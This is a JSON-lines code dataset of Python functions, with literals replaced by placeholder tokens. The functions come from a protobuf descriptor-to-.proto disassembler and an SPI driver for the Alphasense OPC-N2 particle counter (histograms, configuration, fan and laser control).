{"signature": "def _dump_enum(self, e, top='<STR_LIT>'):", "body": "self._print()<EOL>self._print('<STR_LIT>'.format(e.name))<EOL>self.defines.append('<STR_LIT>'.format(top,e.name))<EOL>self.tabs+=<NUM_LIT:1><EOL>for v in e.value:<EOL><INDENT>self._print('<STR_LIT>'.format(v.name, v.number))<EOL><DEDENT>self.tabs-=<NUM_LIT:1><EOL>self._print('<STR_LIT:}>')<EOL>", "docstring": "Dump single enum type.\n\n        Keyword arguments:\n        top -- top namespace", "id": "f4935:c0:m2"}
{"signature": "def _dump_field(self, fd):", "body": "v = {}<EOL>v['<STR_LIT:label>'] = Pbd.LABELS[fd.label]<EOL>v['<STR_LIT:type>'] = fd.type_name if len(fd.type_name) > <NUM_LIT:0> else Pbd.TYPES[fd.type]<EOL>v['<STR_LIT:name>'] = fd.name<EOL>v['<STR_LIT>'] = fd.number<EOL>v['<STR_LIT:default>'] = '<STR_LIT>'.format(fd.default_value) if len(fd.default_value) > <NUM_LIT:0> else '<STR_LIT>'<EOL>f = '<STR_LIT>'.format(**v)<EOL>f = '<STR_LIT:U+0020>'.join(f.split())<EOL>self._print(f)<EOL>if len(fd.type_name) > <NUM_LIT:0>:<EOL><INDENT>self.uses.append(fd.type_name)<EOL><DEDENT>", "docstring": "Dump single field.", "id": "f4935:c0:m3"}
{"signature": "def _dump_message(self, m, top='<STR_LIT>'):", "body": "self._print()<EOL>self._print('<STR_LIT>'.format(m.name))<EOL>self.defines.append('<STR_LIT>'.format(top, m.name))<EOL>self.tabs+=<NUM_LIT:1><EOL>for f in m.field:<EOL><INDENT>self._dump_field(f)<EOL><DEDENT>for e in m.enum_type:<EOL><INDENT>self._dump_enum(e, top='<STR_LIT>'.format(top, m.name))<EOL><DEDENT>for n in m.nested_type:<EOL><INDENT>self._dump_message(n, top='<STR_LIT>'.format(top, m.name))<EOL><DEDENT>self.tabs-=<NUM_LIT:1><EOL>self._print('<STR_LIT:}>')<EOL>", "docstring": "Dump single message type.\n\n        Keyword arguments:\n        top -- top namespace", "id": "f4935:c0:m4"}
{"signature": "def _walk(self, fd):", "body": "top = '<STR_LIT>'.format(fd.package) if len(fd.package) > <NUM_LIT:0> else '<STR_LIT>'<EOL>for e in fd.enum_type: self._dump_enum(e, top)<EOL>for m in fd.message_type: self. _dump_message(m, top)<EOL>", "docstring": "Walk and dump (disasm) descriptor.", "id": "f4935:c0:m5"}
{"signature": "def disassemble(self):", "body": "ser_pb = open(self.input_file, '<STR_LIT:rb>').read()  <EOL>fd = FileDescriptorProto()<EOL>fd.ParseFromString(ser_pb)<EOL>self.name = fd.name<EOL>self._print('<STR_LIT>')<EOL>self._print('<STR_LIT>')<EOL>self._print('<STR_LIT>')<EOL>if len(fd.package) > <NUM_LIT:0>:<EOL><INDENT>self._print('<STR_LIT>'.format(fd.package))<EOL>self.package = fd.package<EOL><DEDENT>else:<EOL><INDENT>self._print('<STR_LIT>')<EOL><DEDENT>self._walk(fd)<EOL>", "docstring": "Disassemble serialized protocol buffers file.", "id": "f4935:c0:m6"}
{"signature": "def dump(self, out_dir='<STR_LIT:.>'):", "body": "uri = out_dir + os.sep + self.name<EOL>with open(uri, '<STR_LIT:w>') as fh:<EOL><INDENT>fh.write('<STR_LIT:\\n>'.join(self.lines))<EOL><DEDENT>", "docstring": "Dump proto file to given directory.\n\n        Keyword arguments:\n        out_dir -- dump directory. Default='.'", "id": "f4935:c0:m7"}
{"signature": "def find_imports(self, pbds):", "body": "<EOL>imports = list(set(self.uses).difference(set(self.defines)))<EOL>for imp in imports:<EOL><INDENT>for p in pbds:<EOL><INDENT>if imp in p.defines:<EOL><INDENT>self.imports.append(p.name)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>self.imports = list(set(self.imports))<EOL>for import_file in self.imports:<EOL><INDENT>self.lines.insert(<NUM_LIT:2>, '<STR_LIT>'.format(import_file))<EOL><DEDENT>", "docstring": "Find all missing imports in list of Pbd instances.", "id": "f4935:c0:m8"}
{"signature": "def _16bit_unsigned(self, LSB, MSB):", "body": "return (MSB << <NUM_LIT:8>) | LSB<EOL>", "docstring": "Returns the combined LSB and MSB\n\n        :param LSB: Least Significant Byte\n        :param MSB: Most Significant Byte\n\n        :type LSB: byte\n        :type MSB: byte\n\n        :rtype: 16-bit unsigned int", "id": "f4940:c0:m1"}
{"signature": "def _calculate_float(self, byte_array):", "body": "if len(byte_array) != <NUM_LIT:4>:<EOL><INDENT>return None<EOL><DEDENT>return struct.unpack('<STR_LIT:f>', struct.pack('<STR_LIT>', *byte_array))[<NUM_LIT:0>]<EOL>", "docstring": "Returns an IEEE 754 float from an array of 4 bytes\n\n        :param byte_array: Expects an array of 4 bytes\n\n        :type byte_array: array\n\n        :rtype: float", "id": "f4940:c0:m2"}
{"signature": "def _calculate_mtof(self, mtof):", "body": "return mtof / <NUM_LIT><EOL>", "docstring": "Returns the average amount of time that particles in a bin\n        took to cross the path of the laser [units -> microseconds]\n\n        :param mtof: mass time-of-flight\n\n        :type mtof: float\n\n        :rtype: float", "id": "f4940:c0:m3"}
{"signature": "def _calculate_temp(self, vals):", "body": "if len(vals) < <NUM_LIT:4>:<EOL><INDENT>return None<EOL><DEDENT>return ((vals[<NUM_LIT:3>] << <NUM_LIT>) | (vals[<NUM_LIT:2>] << <NUM_LIT:16>) | (vals[<NUM_LIT:1>] << <NUM_LIT:8>) | vals[<NUM_LIT:0>]) / <NUM_LIT><EOL>", "docstring": "Calculates the temperature in degrees celcius\n\n        :param vals: array of bytes\n\n        :type vals: array\n\n        :rtype: float", "id": "f4940:c0:m4"}
{"signature": "def _calculate_pressure(self, vals):", "body": "if len(vals) < <NUM_LIT:4>:<EOL><INDENT>return None<EOL><DEDENT>return ((vals[<NUM_LIT:3>] << <NUM_LIT>) | (vals[<NUM_LIT:2>] << <NUM_LIT:16>) | (vals[<NUM_LIT:1>] << <NUM_LIT:8>) | vals[<NUM_LIT:0>])<EOL>", "docstring": "Calculates the pressure in pascals\n\n        :param vals: array of bytes\n\n        :type vals: array\n\n        :rtype: float", "id": "f4940:c0:m5"}
{"signature": "def _calculate_period(self, vals):", "body": "if len(vals) < <NUM_LIT:4>:<EOL><INDENT>return None<EOL><DEDENT>if self.firmware['<STR_LIT>'] < <NUM_LIT:16>:<EOL><INDENT>return ((vals[<NUM_LIT:3>] << <NUM_LIT>) | (vals[<NUM_LIT:2>] << <NUM_LIT:16>) | (vals[<NUM_LIT:1>] << <NUM_LIT:8>) | vals[<NUM_LIT:0>]) / <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>return self._calculate_float(vals)<EOL><DEDENT>", "docstring": "calculate the sampling period in seconds", "id": "f4940:c0:m6"}
{"signature": "def wait(self, **kwargs):", "body": "if not callable(self.on):<EOL><INDENT>raise UserWarning('<STR_LIT>')<EOL><DEDENT>if not callable(self.histogram):<EOL><INDENT>raise UserWarning('<STR_LIT>')<EOL><DEDENT>self.on()<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>if self.histogram() is None:<EOL><INDENT>raise UserWarning('<STR_LIT>')<EOL><DEDENT><DEDENT>except UserWarning as e:<EOL><INDENT>sleep(kwargs.get('<STR_LIT>', <NUM_LIT:200>) / <NUM_LIT>)<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Wait for the OPC to prepare itself for data transmission. On some devides this can take a few seconds\n        :rtype: self\n        :Example:\n        >> alpha = opc.OPCN2(spi, debug=True).wait(check=200)\n        >> alpha = opc.OPCN2(spi, debug=True, wait=True, check=200)", "id": "f4940:c0:m7"}
{"signature": "def lookup_bin_boundary(self, adc_value):", "body": "if adc_value < <NUM_LIT:0>:<EOL><INDENT>adc_value = <NUM_LIT:0><EOL><DEDENT>if adc_value > <NUM_LIT>:<EOL><INDENT>adc_value = <NUM_LIT><EOL><DEDENT>return OPC_LOOKUP[adc_value]<EOL>", "docstring": "Looks up the bin boundary value in microns based on the lookup table provided by Alphasense.\n\n            :param adc_value: ADC Value (0 - 4095)\n\n            :type adc_value: int\n\n            :rtype: float", "id": "f4940:c0:m8"}
{"signature": "def calculate_bin_boundary(self, bb):", "body": "return min(enumerate(OPC_LOOKUP), key = lambda x: abs(x[<NUM_LIT:1>] - bb))[<NUM_LIT:0>]<EOL>", "docstring": "Calculate the adc value that corresponds to a specific bin boundary diameter in microns.\n\n            :param bb: Bin Boundary in microns\n\n            :type bb: float\n\n            :rtype: int", "id": "f4940:c0:m9"}
{"signature": "def read_info_string(self):", "body": "infostring = []<EOL>self.cnxn.xfer([<NUM_LIT>])<EOL>sleep(<NUM_LIT>)<EOL>for i in range(<NUM_LIT>):<EOL><INDENT>resp = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>infostring.append(chr(resp))<EOL><DEDENT>sleep(<NUM_LIT:0.1>)<EOL>return '<STR_LIT>'.join(infostring)<EOL>", "docstring": "Reads the information string for the OPC\n\n        :rtype: string\n\n        :Example:\n\n        >>> alpha.read_info_string()\n        'OPC-N2 FirmwareVer=OPC-018.2....................BD'", "id": "f4940:c0:m10"}
{"signature": "def ping(self):", "body": "b = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]           <EOL>sleep(<NUM_LIT:0.1>)<EOL>return True if b == <NUM_LIT> else False<EOL>", "docstring": "Checks the connection between the Raspberry Pi and the OPC\n\n        :rtype: Boolean", "id": "f4940:c0:m11"}
{"signature": "def on(self):", "body": "b1 = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]          <EOL>sleep(<NUM_LIT>)                             <EOL>b2, b3 = self.cnxn.xfer([<NUM_LIT>, <NUM_LIT>])   <EOL>sleep(<NUM_LIT:0.1>)<EOL>return True if b1 == <NUM_LIT> and b2 == <NUM_LIT> else False<EOL>", "docstring": "Turn ON the OPC (fan and laser)\n\n        :rtype: boolean\n\n        :Example:\n\n        >>> alpha.on()\n        True", "id": "f4940:c1:m1"}
{"signature": "def off(self):", "body": "b1 = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]          <EOL>sleep(<NUM_LIT>)                             <EOL>b2 = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]          <EOL>sleep(<NUM_LIT:0.1>)<EOL>return True if b1 == <NUM_LIT> and b2 == <NUM_LIT> else False<EOL>", "docstring": "Turn OFF the OPC (fan and laser)\n\n        :rtype: boolean\n\n        :Example:\n\n        >>> alpha.off()\n        True", "id": "f4940:c1:m2"}
{"signature": "def config(self):", "body": "config  = []<EOL>data    = {}<EOL>self.cnxn.xfer([<NUM_LIT>])<EOL>sleep(<NUM_LIT>)<EOL>for i in range(<NUM_LIT>):<EOL><INDENT>resp = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>config.append(resp)<EOL><DEDENT>for i in range(<NUM_LIT:0>, <NUM_LIT:15>):<EOL><INDENT>data[\"<STR_LIT>\".format(i)] = self._16bit_unsigned(config[<NUM_LIT:2>*i], config[<NUM_LIT:2>*i + <NUM_LIT:1>])<EOL><DEDENT>for i in range(<NUM_LIT:0>, <NUM_LIT:16>):<EOL><INDENT>data[\"<STR_LIT>\".format(i)] = self._calculate_float(config[<NUM_LIT:4>*i + <NUM_LIT:32>:<NUM_LIT:4>*i + <NUM_LIT>])<EOL><DEDENT>for i in range(<NUM_LIT:0>, <NUM_LIT:16>):<EOL><INDENT>data[\"<STR_LIT>\".format(i)] = self._calculate_float(config[<NUM_LIT:4>*i + <NUM_LIT>:<NUM_LIT:4>*i + <NUM_LIT:100>])<EOL><DEDENT>for i in range(<NUM_LIT:0>, <NUM_LIT:16>):<EOL><INDENT>data[\"<STR_LIT>\".format(i)] = self._calculate_float(config[<NUM_LIT:4>*i + <NUM_LIT>: <NUM_LIT:4>*i + <NUM_LIT>])<EOL><DEDENT>data[\"<STR_LIT>\"] = self._calculate_float(config[<NUM_LIT>:<NUM_LIT>])<EOL>data[\"<STR_LIT>\"] = self._calculate_float(config[<NUM_LIT>:<NUM_LIT>])<EOL>data[\"<STR_LIT>\"]    = config[<NUM_LIT>]<EOL>data[\"<STR_LIT>\"]      = config[<NUM_LIT>]<EOL>if self.firmware['<STR_LIT>'] > <NUM_LIT>:<EOL><INDENT>data['<STR_LIT>'] = config[<NUM_LIT>]<EOL><DEDENT>sleep(<NUM_LIT:0.1>)<EOL>return data<EOL>", "docstring": "Read the configuration variables and returns them as a dictionary\n\n        :rtype: dictionary\n\n        :Example:\n\n        >>> alpha.config()\n        {\n            'BPD 13': 1.6499,\n            'BPD 12': 1.6499,\n            'BPD 11': 1.6499,\n            'BPD 10': 1.6499,\n            'BPD 15': 1.6499,\n            'BPD 14': 1.6499,\n            'BSVW 15': 1.0,\n            ...\n        }", "id": "f4940:c1:m3"}
{"signature": "@requires_firmware(<NUM_LIT>)<EOL><INDENT>def config2(self):<DEDENT>", "body": "config  = []<EOL>data    = {}<EOL>self.cnxn.xfer([<NUM_LIT>])<EOL>sleep(<NUM_LIT>)<EOL>for i in range(<NUM_LIT:9>):<EOL><INDENT>resp = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>config.append(resp)<EOL><DEDENT>data[\"<STR_LIT>\"]      = self._16bit_unsigned(config[<NUM_LIT:0>], config[<NUM_LIT:1>])<EOL>data[\"<STR_LIT>\"]     = self._16bit_unsigned(config[<NUM_LIT:2>], config[<NUM_LIT:3>])<EOL>data['<STR_LIT>']             = config[<NUM_LIT:4>]<EOL>data['<STR_LIT>']           = config[<NUM_LIT:5>]<EOL>data['<STR_LIT>']   = self._16bit_unsigned(config[<NUM_LIT:6>], config[<NUM_LIT:7>])<EOL>data['<STR_LIT>']        = config[<NUM_LIT:8>]<EOL>sleep(<NUM_LIT:0.1>)<EOL>return data<EOL>", "docstring": "Read the second set of configuration variables and return as a dictionary.\n\n        **NOTE: This method is supported by firmware v18+.**\n\n        :rtype: dictionary\n\n        :Example:\n\n        >>> a.config2()\n        {\n            'AMFanOnIdle': 0,\n            'AMIdleIntervalCount': 0,\n            'AMMaxDataArraysInFile': 61798,\n            'AMSamplingInterval': 1,\n            'AMOnlySavePMData': 0,\n            'AMLaserOnIdle': 0\n        }", "id": "f4940:c1:m4"}
{"signature": "def write_config_variables(self, config_vars):", "body": "logger.warning(\"<STR_LIT>\")<EOL>return<EOL>", "docstring": "Write configuration variables to non-volatile memory.\n\n        **NOTE: This method is currently a placeholder and is not implemented.**\n\n        :param config_vars: dictionary containing the configuration variables\n\n        :type config_vars: dictionary", "id": "f4940:c1:m5"}
{"signature": "@requires_firmware(<NUM_LIT>)<EOL><INDENT>def write_config_variables2(self, config_vars):<DEDENT>", "body": "logger.warning(\"<STR_LIT>\")<EOL>return<EOL>", "docstring": "Write configuration variables 2 to non-volatile memory.\n\n        **NOTE: This method is currently a placeholder and is not implemented.**\n        **NOTE: This method is supported by firmware v18+.**\n\n        :param config_vars: dictionary containing the configuration variables\n\n        :type config_vars: dictionary", "id": "f4940:c1:m6"}
{"signature": "def histogram(self, number_concentration=True):", "body": "resp = []<EOL>data = {}<EOL>self.cnxn.xfer([<NUM_LIT>])<EOL>sleep(<NUM_LIT>)<EOL>for i in range(<NUM_LIT>):<EOL><INDENT>r = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>resp.append(r)<EOL><DEDENT>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT:0>], resp[<NUM_LIT:1>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT:2>], resp[<NUM_LIT:3>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT:4>], resp[<NUM_LIT:5>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT:6>], resp[<NUM_LIT:7>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT:8>], resp[<NUM_LIT:9>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT:10>], resp[<NUM_LIT:11>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT:12>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT>], resp[<NUM_LIT:15>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT:16>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']           = self._16bit_unsigned(resp[<NUM_LIT>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']          = self._16bit_unsigned(resp[<NUM_LIT:20>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']          = self._16bit_unsigned(resp[<NUM_LIT>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']          = self._16bit_unsigned(resp[<NUM_LIT>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']          = self._16bit_unsigned(resp[<NUM_LIT>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']          = self._16bit_unsigned(resp[<NUM_LIT>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']          = self._16bit_unsigned(resp[<NUM_LIT:30>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']       = self._calculate_mtof(resp[<NUM_LIT:32>])<EOL>data['<STR_LIT>']       = self._calculate_mtof(resp[<NUM_LIT>])<EOL>data['<STR_LIT>']       = self._calculate_mtof(resp[<NUM_LIT>])<EOL>data['<STR_LIT>']       = self._calculate_mtof(resp[<NUM_LIT>])<EOL>if self.firmware['<STR_LIT:version>'] < <NUM_LIT>:<EOL><INDENT>data['<STR_LIT>']     = self._calculate_temp(resp[<NUM_LIT>:<NUM_LIT>])<EOL>data['<STR_LIT>']        = self._calculate_pressure(resp[<NUM_LIT>:<NUM_LIT>])<EOL>data['<STR_LIT>'] = self._calculate_period(resp[<NUM_LIT>:<NUM_LIT>])<EOL>data['<STR_LIT>']        = self._16bit_unsigned(resp[<NUM_LIT>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']             = self._calculate_float(resp[<NUM_LIT:50>:<NUM_LIT>])<EOL>data['<STR_LIT>']           = self._calculate_float(resp[<NUM_LIT>:<NUM_LIT>])<EOL>data['<STR_LIT>']            = self._calculate_float(resp[<NUM_LIT>:])<EOL><DEDENT>else:<EOL><INDENT>data['<STR_LIT>']             = self._calculate_float(resp[<NUM_LIT>:<NUM_LIT>])<EOL>tmp = self._calculate_pressure(resp[<NUM_LIT>:<NUM_LIT>])<EOL>if tmp > <NUM_LIT>:<EOL><INDENT>data['<STR_LIT>'] = None<EOL>data['<STR_LIT>']    = tmp<EOL><DEDENT>else:<EOL><INDENT>tmp = self._calculate_temp(resp[<NUM_LIT>:<NUM_LIT>])<EOL>if tmp < <NUM_LIT>:<EOL><INDENT>data['<STR_LIT>'] = tmp<EOL>data['<STR_LIT>']    = None<EOL><DEDENT>else:<EOL><INDENT>data['<STR_LIT>'] = None<EOL>data['<STR_LIT>']    = None<EOL><DEDENT><DEDENT>data['<STR_LIT>'] = self._calculate_float(resp[<NUM_LIT>:<NUM_LIT>])<EOL>data['<STR_LIT>']        = self._16bit_unsigned(resp[<NUM_LIT>], resp[<NUM_LIT>])<EOL>data['<STR_LIT>']             = self._calculate_float(resp[<NUM_LIT:50>:<NUM_LIT>])<EOL>data['<STR_LIT>']           = self._calculate_float(resp[<NUM_LIT>:<NUM_LIT>])<EOL>data['<STR_LIT>']            = self._calculate_float(resp[<NUM_LIT>:])<EOL><DEDENT>histogram_sum = data['<STR_LIT>'] + data['<STR_LIT>'] + data['<STR_LIT>']   +data['<STR_LIT>'] + data['<STR_LIT>'] + data['<STR_LIT>'] + data['<STR_LIT>']   +data['<STR_LIT>'] + data['<STR_LIT>'] + data['<STR_LIT>'] + data['<STR_LIT>']  +data['<STR_LIT>'] + data['<STR_LIT>'] + data['<STR_LIT>'] + data['<STR_LIT>'] +data['<STR_LIT>']<EOL>if (histogram_sum & <NUM_LIT>) != data['<STR_LIT>']:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if number_concentration is True:<EOL><INDENT>_conv_ = data['<STR_LIT>'] * data['<STR_LIT>'] <EOL>data['<STR_LIT>']   = data['<STR_LIT>'] / _conv_<EOL>data['<STR_LIT>']   = data['<STR_LIT>'] / _conv_<EOL>data['<STR_LIT>']   = data['<STR_LIT>'] / _conv_<EOL>data['<STR_LIT>']   = data['<STR_LIT>'] / _conv_<EOL>data['<STR_LIT>']   = data['<STR_LIT>'] / _conv_<EOL>data['<STR_LIT>']   = data['<STR_LIT>'] / _conv_<EOL>data['<STR_LIT>']   = data['<STR_LIT>'] / _conv_<EOL>data['<STR_LIT>']   = data['<STR_LIT>'] / _conv_<EOL>data['<STR_LIT>']   = data['<STR_LIT>'] / _conv_<EOL>data['<STR_LIT>']   = data['<STR_LIT>'] / _conv_<EOL>data['<STR_LIT>']  = data['<STR_LIT>'] / _conv_<EOL>data['<STR_LIT>']  = data['<STR_LIT>'] / _conv_<EOL>data['<STR_LIT>']  = data['<STR_LIT>'] / _conv_<EOL>data['<STR_LIT>']  = data['<STR_LIT>'] / _conv_<EOL>data['<STR_LIT>']  = data['<STR_LIT>'] / _conv_<EOL>data['<STR_LIT>']  = data['<STR_LIT>'] / _conv_<EOL><DEDENT>sleep(<NUM_LIT:0.1>)<EOL>return data<EOL>", "docstring": "Read and reset the histogram. As of v1.3.0, histogram\n        values are reported in particle number concentration (#/cc) by default.\n\n        :param number_concentration: If true, histogram bins are reported in number concentration vs. raw values.\n\n        :type number_concentration: boolean\n\n        :rtype: dictionary\n\n        :Example:\n\n        >>> alpha.histogram()\n        {\n            'Temperature': None,\n            'Pressure': None,\n            'Bin 0': 0,\n            'Bin 1': 0,\n            'Bin 2': 0,\n            ...\n            'Bin 15': 0,\n            'SFR': 3.700,\n            'Bin1MToF': 0,\n            'Bin3MToF': 0,\n            'Bin5MToF': 0,\n            'Bin7MToF': 0,\n            'PM1': 0.0,\n            'PM2.5': 0.0,\n            'PM10': 0.0,\n            'Sampling Period': 2.345,\n            'Checksum': 0\n        }", "id": "f4940:c1:m7"}
{"signature": "def save_config_variables(self):", "body": "command = <NUM_LIT><EOL>byte_list = [<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>]<EOL>success = [<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>]<EOL>resp = []<EOL>r = self.cnxn.xfer([command])[<NUM_LIT:0>]<EOL>sleep(<NUM_LIT>)<EOL>resp.append(r)<EOL>for each in byte_list:<EOL><INDENT>r = self.cnxn.xfer([each])[<NUM_LIT:0>]<EOL>resp.append(r)<EOL><DEDENT>sleep(<NUM_LIT:0.1>)<EOL>return True if resp == success else False<EOL>", "docstring": "Save the configuration variables in non-volatile memory. This method\n        should be used in conjuction with *write_config_variables*.\n\n        :rtype: boolean\n\n        :Example:\n\n        >>> alpha.save_config_variables()\n        True", "id": "f4940:c1:m8"}
{"signature": "def _enter_bootloader_mode(self):", "body": "return True if self.cnxn.xfer(<NUM_LIT>)[<NUM_LIT:0>] == <NUM_LIT> else False<EOL>", "docstring": "Enter bootloader mode. Must be issued prior to writing\n        configuration variables to non-volatile memory.\n\n        :rtype: boolean\n\n        :Example:\n\n        >>> alpha._enter_bootloader_mode()\n        True", "id": "f4940:c1:m9"}
{"signature": "def set_fan_power(self, power):", "body": "<EOL>if power > <NUM_LIT:255>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>a = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>sleep(<NUM_LIT>)<EOL>b = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>c = self.cnxn.xfer([power])[<NUM_LIT:0>]<EOL>sleep(<NUM_LIT:0.1>)<EOL>return True if a == <NUM_LIT> and b == <NUM_LIT> and c == <NUM_LIT> else False<EOL>", "docstring": "Set only the Fan power.\n\n        :param power: Fan power value as an integer between 0-255.\n\n        :type power: int\n\n        :rtype: boolean\n\n        :Example:\n\n        >>> alpha.set_fan_power(255)\n        True", "id": "f4940:c1:m10"}
{"signature": "def set_laser_power(self, power):", "body": "<EOL>if power > <NUM_LIT:255>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>a = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>sleep(<NUM_LIT>)<EOL>b = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>c = self.cnxn.xfer([power])[<NUM_LIT:0>]<EOL>sleep(<NUM_LIT:0.1>)<EOL>return True if a == <NUM_LIT> and b == <NUM_LIT> and c == <NUM_LIT> else False<EOL>", "docstring": "Set the laser power only.\n\n        :param power: Laser power as a value between 0-255.\n\n        :type power: int\n\n        :rtype: boolean\n\n        :Example:\n\n        >>> alpha.set_laser_power(230)\n        True", "id": "f4940:c1:m11"}
{"signature": "def toggle_laser(self, state):", "body": "<EOL>a = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>sleep(<NUM_LIT>)<EOL>if state:<EOL><INDENT>b = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>b = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL><DEDENT>sleep(<NUM_LIT:0.1>)<EOL>return True if a == <NUM_LIT> and b == <NUM_LIT> else False<EOL>", "docstring": "Toggle the power state of the laser.\n\n        :param state: Boolean state of the laser\n\n        :type state: boolean\n\n        :rtype: boolean\n\n        :Example:\n\n        >>> alpha.toggle_laser(True)\n        True", "id": "f4940:c1:m12"}
{"signature": "def toggle_fan(self, state):", "body": "<EOL>a = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>sleep(<NUM_LIT>)<EOL>if state:<EOL><INDENT>b = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>b = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL><DEDENT>sleep(<NUM_LIT:0.1>)<EOL>return True if a == <NUM_LIT> and b == <NUM_LIT> else False<EOL>", "docstring": "Toggle the power state of the fan.\n\n        :param state: Boolean state of the fan\n\n        :type state: boolean\n\n        :rtype: boolean\n\n        :Example:\n\n        >>> alpha.toggle_fan(False)\n        True", "id": "f4940:c1:m13"}
{"signature": "@requires_firmware(<NUM_LIT>)<EOL><INDENT>def read_pot_status(self):<DEDENT>", "body": "<EOL>a = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>sleep(<NUM_LIT>)<EOL>res = []<EOL>for i in range(<NUM_LIT:4>):<EOL><INDENT>res.append(self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>])<EOL><DEDENT>sleep(<NUM_LIT:0.1>)<EOL>return {<EOL>'<STR_LIT>':        res[<NUM_LIT:0>],<EOL>'<STR_LIT>':      res[<NUM_LIT:1>],<EOL>'<STR_LIT>':    res[<NUM_LIT:2>],<EOL>'<STR_LIT>':  res[<NUM_LIT:3>]<EOL>}<EOL>", "docstring": "Read the status of the digital pot. Firmware v18+ only.\n        The return value is a dictionary containing the following as\n        unsigned 8-bit integers: FanON, LaserON, FanDACVal, LaserDACVal.\n\n        :rtype: dict\n\n        :Example:\n\n        >>> alpha.read_pot_status()\n        {\n            'LaserDACVal': 230,\n            'FanDACVal': 255,\n            'FanON': 0,\n            'LaserON': 0\n        }", "id": "f4940:c1:m14"}
{"signature": "@requires_firmware(<NUM_LIT>)<EOL><INDENT>def sn(self):<DEDENT>", "body": "string = []<EOL>self.cnxn.xfer([<NUM_LIT>])<EOL>sleep(<NUM_LIT>)<EOL>for i in range(<NUM_LIT>):<EOL><INDENT>resp = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>string.append(chr(resp))<EOL><DEDENT>sleep(<NUM_LIT:0.1>)<EOL>return '<STR_LIT>'.join(string)<EOL>", "docstring": "Read the Serial Number string. This method is only available on OPC-N2\n        firmware versions 18+.\n\n        :rtype: string\n\n        :Example:\n\n        >>> alpha.sn()\n        'OPC-N2 123456789'", "id": "f4940:c1:m15"}
{"signature": "@requires_firmware(<NUM_LIT>)<EOL><INDENT>def write_sn(self):<DEDENT>", "body": "return<EOL>", "docstring": "Write the Serial Number string. This method is available for Firmware versions 18+.\n\n        **NOTE: This method is currently a placeholder and is not implemented.**\n\n        :param sn: string containing the serial number to write\n\n        :type sn: string", "id": "f4940:c1:m16"}
{"signature": "@requires_firmware(<NUM_LIT>)<EOL><INDENT>def read_firmware(self):<DEDENT>", "body": "<EOL>self.cnxn.xfer([<NUM_LIT>])<EOL>sleep(<NUM_LIT>)<EOL>self.firmware['<STR_LIT>'] = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>self.firmware['<STR_LIT>'] = self.cnxn.xfer([<NUM_LIT>])[<NUM_LIT:0>]<EOL>self.firmware['<STR_LIT:version>'] = float('<STR_LIT>'.format(self.firmware['<STR_LIT>'], self.firmware['<STR_LIT>']))<EOL>sleep(<NUM_LIT:0.1>)<EOL>return self.firmware<EOL>", "docstring": "Read the firmware version of the OPC-N2. Firmware v18+ only.\n\n        :rtype: dict\n\n        :Example:\n\n        >>> alpha.read_firmware()\n        {\n            'major': 18,\n            'minor': 2,\n            'version': 18.2\n        }", "id": "f4940:c1:m17"}
